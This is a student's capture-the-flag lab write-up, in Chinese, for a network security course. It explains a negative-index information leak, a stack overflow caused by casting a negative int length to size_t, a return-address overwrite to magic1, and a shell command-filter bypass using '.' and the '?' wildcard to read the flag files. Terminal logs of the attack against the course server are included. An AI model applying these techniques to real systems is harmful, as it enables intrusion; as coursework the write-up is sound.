Network Security – Project3

0656510 蔡孟谷

1. 在看過程式碼，並執行過程式之後，會發現要取得 flag1，必須要讓程式去執行「magic1」這個函式，而在程式剛開始執行時，所提供的選單中，在選擇選項「3.Exit」時，程式會去檢查 return address 的部分是否已經被覆蓋成 magic1 或是 magic2 的 address，又或者是否還是原本所儲存的正常的 return address，若是，則會執行 return，否則，程式會執行「exit(1)」並結束。
2. 在觀察之後發現，在 edit_note 這個函式裡，程式會先檢查使用者所輸入的值是否符合「secret.secret」，而這個值是在程式一進 func 這個函式時，透過亂數所產生，因此，我們要先想辦法取得該 secret.secret 的值。
3. 透過觀察「proj3.asm」這個檔案裡，有關 func 這個函式的部分，並對照原始碼之後，會發現一些關鍵的線索。

```
08048d63 <func>:
 8048d63:   55                      push   ebp
 8048d64:   89 e5                   mov    ebp,esp
 8048d66:   81 ec 98 00 00 00       sub    esp,0x98
 8048d6c:   c7 85 78 ff ff ff 00    mov    DWORD PTR [ebp-0x88],0x0
 8048d73:   00 00 00
 8048d76:   8b 45 04                mov    eax,DWORD PTR [ebp+0x4]
 8048d79:   89 85 78 ff ff ff       mov    DWORD PTR [ebp-0x88],eax
 8048d7f:   c7 85 7c ff ff ff 55    mov    DWORD PTR [ebp-0x84],0x61632055
 8048d86:   20 63 61
 8048d89:   c7 45 80 6e 27 74 20    mov    DWORD PTR [ebp-0x80],0x2074276e
 8048d90:   c7 45 84 73 65 65 20    mov    DWORD PTR [ebp-0x7c],0x20656573
 8048d97:   c7 45 88 6d 65 21 00    mov    DWORD PTR [ebp-0x78],0x21656d
 8048d9e:   c7 45 8c 00 00 00 00    mov    DWORD PTR [ebp-0x74],0x0
 8048da5:   c7 45 90 00 00 00 00    mov    DWORD PTR [ebp-0x70],0x0
 8048dac:   c7 45 94 00 00 00 00    mov    DWORD PTR [ebp-0x6c],0x0
 8048db3:   c7 45 98 00 00 00 00    mov    DWORD PTR [ebp-0x68],0x0
 8048dba:   e8 ee fc ff ff          call   8048aad <generate_secret>
 8048dbf:   89 45 9c                mov    DWORD PTR [ebp-0x64],eax
 8048dc2:   83 ec 04                sub    esp,0x4
 8048dc5:   6a 58                   push   0x58
 8048dc7:   6a 00                   push   0x0
 8048dc9:   8d 45 a0                lea    eax,[ebp-0x60]
 8048dcc:   50                      push   eax
 8048dcd:   e8 1e f9 ff ff          call   80486f0 <memset@plt>
```

- ✓ 在第一個紅框裡，對應的是「ret_addr」這個變數被初始化及賦值的部分，而 ebp+4，也就是 return address 所在的位置，其中所儲存的原本的值，會被存到 ret_addr 這個變數之中。
- ✓ 在第二個紅框裡，其實就是「secret」這個別名為「SEC」的 struct 變數，我們可以看到從「ebp-0x64～ebp-0x84」的部分，就是該 struct 裡的「info」的部分，而「ebp-0x64」開始往上 4 個 bytes，就是 secret.secret 的值。

- ✓ 在第三個紅框裡，則是在配置「S」這個別名為「STU」的 struct 變數所需要的 memory，由於參數 push 的順序是倒過來的，因此先被 push 的是 memset 的第三個參數，「0x58」就是「S」所需要的 memory，大小剛好是「44*2=88」個 bytes，而配置 memory 的起始位址，則是「ebp-0x60」。

4. 透過上述觀察，我們會知道「S」和「secret」實際上是接在一起的，而在「view」這個函式之中，會根據使用者所輸入的 id，去取得「S」內所儲存的內容並 print 出來，但在檢查使用者輸入的 id 的時候，程式只檢查是否有大於「MAX」的值，卻忘了檢查使用者輸入的 id 是否為負數，而這個程式邏輯的漏洞，就是我們可以攻擊的地方，若輸入負數，則程式會去取得「S[-1]」的內容並 print 出來，在 Java 中，程式會跳出「IndexOutOfBoundsException」，但在 C 中，程式卻不會主動做這樣的檢查，因此，若是在進入 view 函式之後，id 的部分輸入「-1」，則「secret.secret」的部分，就會剛好對應到「STU」這種 struct 裡的「age」的欄位，就可以順利取得這次所產生的 secret.secret 的值了。

```
star096374@star096374-VirtualBox:~/Network_Security/project3$ nc 140.113.194.66 8787
----------------------
        NS
----------------------
 1. View info
 2. Edit info
 3. Exit
----------------------
Your choice: 1
Please input id: -1
Name: 1

Note:
Age: 1154816994
```

5. 取得「secret.secret」的值之後，就可以進入「edit_note」函式了，先輸入剛剛所取得的「secret.secret」的值，接著程式會要你輸入「id」，則輸入「0」，再來程式會要你輸入新的「note」的長度，但一樣的問題又出現了，「len」本身的型別是「int」，而程式只檢查使用者所輸入的「len」是否有大於「S」裡的「note」的大小，卻沒檢查使用者所輸入的「len」是不是負數，因此，我們在這裡若輸入「-1」，則通過「len<16」的檢查之後，把「len」丟到「read」函式裡作為參數時，「int」型別的「len」會被當作是「size_t」，而「size_t」，其實就是「unsigned int」，因此，剛剛輸入的「-1」會被當成是很大的正數，就可以進行 buffer overflow attack 了，我們所修改的「S[0]」的部分，是從「ebp-0x60」開始，而我們要修改的 return address 的部分，則是位於「ebp+4」的位置，但別忘了，我們填入的內容是從「S[0].note」開始放進去，因此需要先減去前面的「s[0].name」的部分，大小則是 16 個 bytes，「0x60」換算成十進位是「96」，透過計算式「4-(-96)-16=84」可以得知，我們需要先塞 84 個 bytes 的資料，接下來填入的 4 個 bytes，就會覆蓋掉 return address 了。

6. 透過「proj3.asm」這個檔案，可以知道 magic1 的 address 是「0x80489e0」，但要特別注意在 32-bit 的作業系統的情況下，其所使用的是「little-endian」的排列方式，因此我們將該 address 塞進 return address 的時候，要寫成「\xe0\x89\x04\x08」。
7. 再次回到選單之後，選擇「3.Exit」，由於 return address 已經被我們覆蓋成「magic1」這個函式的值，因此程式會去執行「magic1」，就順利取得 flag1 了。

```
star096374@star096374-VirtualBox:~/Network_Security/project3$ python payload.py
[+] Opening connection to 140.113.194.66 on port 8787: Done
99945992
FLAG{G00D_J0b!}
[*] Closed connection to 140.113.194.66 port 8787
```

8. 至於 flag2 的部分，則是將 return address 的值，從原本「magic1」的 address，改成「magic2」的 address，也就是「0x804883b」，但進到「magic2」之後會發現，程式會去檢查使用者所輸入的指令是否有包含特定字元，若有，則不會讓使用者執行該指令，要繞過程式的檢查，我們輸入的指令則是「. flag1 2>&1; . ?lag2 2>&1」，由於「PATH」這個環境變數已經被移除，「magic2」這個函式裡也會去檢查我們所輸入的指令是否有包含「PATH」，也不能有「bin」和「cat」，更不能有「flag2」，而在 sh 裡，若是輸入「.」，則會將後面所帶的參數，作為 shell script 讓 sh 去執行，上述的指令其實是兩條指令，並用分號做為區隔，前半段是將告訴 sh 去執行「flag1」這個 shell script，而「2>&1」的部分，則是告訴 sh 將 stderr 和 stdout 的部分，都同時導到 stdout，至於這樣做的原因是因為，其實「flag1」裡所儲存的內容，根本就不是正確的 shell 指令，所以 sh 會丟出「command not found」的錯誤訊息，並將該訊息丟到 stderr，若我們沒有告訴 sh 將 stderr 也導到 stdout，則我們無法透過 socket 去接收到該 error 的訊息，而這 error 訊息，其實就會包含了「flag1」的值。
9. 至於後半段的指令，和前半段幾乎完全相同，差別只在於由於 magic2 會去檢查指令是否有包含「flag2」，因此我們需要透過「?」來繞過檢查，我們不直接輸入「flag2」，則是改為輸入「?lag2」，而在該目錄底下，唯一符合這個條件的檔案只有「flag2」，因此 sh 便會將 flag2 當作 shell script 去執行，而 flag2 所儲存的內容也不是真正的 shell 指令，因此一樣會將錯誤訊息丟到 stderr 去，而 stderr 也已經被導到 stdout 了，透過這樣的方式，我們就順利取得「flag2」的值了。

```
star096374@star096374-VirtualBox:~/Network_Security/project3$ python payload_ver2.py
[+] Opening connection to 140.113.194.66 on port 8787: Done
2893521864
sh: 1: ./flag1: FLAG{G00D_J0b!}: not found
sh: 1: ./flag2: FLAG{31337!!Y0U_N4I13d_17!!}: not found
[*] Closed connection to 140.113.194.66 port 8787
```

註：「payload.py」只能取得「flag1」，而「payload_ver2.py」可以同時取得「flag1」和「flag2」。